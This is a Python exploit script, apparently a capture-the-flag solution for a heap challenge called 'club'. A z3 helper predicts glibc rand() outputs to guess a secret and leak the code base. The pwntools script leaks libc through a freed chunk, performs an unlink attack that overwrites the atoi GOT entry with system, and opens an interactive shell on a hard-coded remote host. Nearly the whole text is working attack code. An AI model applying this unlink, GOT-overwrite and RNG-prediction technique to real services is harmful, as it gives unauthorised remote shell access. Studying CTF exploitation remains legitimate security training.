from z3 import *

def solver(inp):
    assert(len(inp) >= 93)
    inp = inp[-93:]
    state = [BitVec("state%d" % i, 32) for i in xrange(31)]
    s = Solver()

    for i in xrange(93):
        state[(3+i) % 31] += state[i % 31]
        output = (state[(3+i) % 31] >> 1) & 0x7fffffff
        actual = inp[i]
        s.add(output == actual)

    s.check()
    if s.check() != z3.sat:
        print "unsat :("
        return 0

    m = s.model()

    return m.eval(((state[(3+93) % 31] + state[93 % 31]) >> 1) & 0x7fffffff).as_long()

from pwn import *
from solverand import solver

MENU = "> "
MAIN_ARENA = 0x2aaaab097b78 - 0x2aaaaacd3000
SYSTEM = 0x45390
aslr = True
is_remote = True

def get(num, size):
    assert(get_helper(num, size))

def destroy(num):
    assert(destroy_helper(num))

def leavem(num, m):
    assert(leavem_helper(num, m))

def get_helper(num, size):
    r.recvuntil(MENU)
    r.sendline('1')
    r.recvuntil(MENU)
    if num <= 0 or num > 5:
        return 0
    r.sendline(str(num))
    res = r.recvregex(r'box!|> ')
    if "box!" in res:
        return 0
    r.sendline(str(size))
    res = r.recvregex(r'invalid!|box!')
    if "invalid!" in res:
        return 0
    return 1

def destroy_helper(num):
    r.recvuntil(MENU)
    r.sendline('2')
    r.recvuntil(MENU)
    if num <= 0 or num > 5:
        return 0
    r.sendline(str(num))
    res = r.recvregex(r'(can not|have).+!')
    if "can not" in res:
        return 0
    return 1

def leavem(num, message):
    r.recvuntil(MENU)
    r.sendline('3')
    r.recvuntil(MENU)
    if num <= 0 or num > 5:
        return 0
    r.sendline(str(num))
    log.info("send number")
    sleep(1)
    # can't check for leaving message
    log.info("send message")
    r.sendline(message)
    return 1

def showm(num):
    r.recvuntil(MENU)
    r.sendline('4')
    r.recvuntil(MENU)
    if num <= 0 or num > 5:
        return "can't show"
    r.sendline(str(num))
    # can't check for leaving message
    res = r.recvuntil('You have')[:-9]
    return res

def guess(num):
    r.recvuntil(MENU)
    r.sendline('5')
    r.recvuntil(MENU)
    r.sendline(str(num))
    prompt = r.recvregex('(secret:|is) [0-9]?')
    res = r.recvline()
    num = re.findall('([0-9]+)!', res)[0]
    if "secret" in prompt:
        return (1, int(num))
    else:
        return (0, int(num))

def exit(name):
    r.recvuntil(MENU)
    r.sendline('6')
    r.recvuntil(MENU)
    r.sendline(name)

def get_code():
    output = []
    for i in range(93):
        log.info("geting %d" % i)
        output.append(guess(0)[1])
    res = (0, 0)
    while not res[0]:
        log.info("predicting...")
        result = solver(output)
        log.info("predicted: %d" % result)
        res = guess(result)
        output.append(res[1])
    return res[1]

if is_remote:
    r = remote('123.206.22.95', 8888)
else:
    env = {'LD_PRELOAD':'./libc.so.6'}
    r = process('./club', env=env, aslr=aslr)
code_base = get_code() - 0x202148
log.info("code base at 0x%x" % code_base)
addr_ptr = code_base + 0x202100 + 8 * 5
log.info("3rd box at 0x%x" % addr_ptr)
atoi = code_base + 0x202068
strcpy = code_base + 0x202020
get(2, 0x100)
get(3, 0x110)
get(4, 0x120)
destroy(2)
addr = showm(2)
addr = u64(addr + (8 - len(addr)) * "\x00")
log.info("main_arena at 0x%x" % addr)
diff = addr - MAIN_ARENA
log.info("libc base at 0x%x" % diff)
system = diff + SYSTEM
log.info("system at 0x%x" % system)
destroy(3)
get(5, 0x220)
leavem(5, p64(0x0) + p64(0x101) + p64(addr_ptr-0x18) + p64(addr_ptr-0x10) + "A" * (0x100-0x20) + p64(0x100) + p64(0x120))
destroy(3)
if is_remote:
    atoi += 8
leavem(5, p64(atoi))
leavem(2, p64(system))
#gdb.attach(r)
r.sendline('/bin/sh')
log.info('enjoy your shell :)')
r.interactive()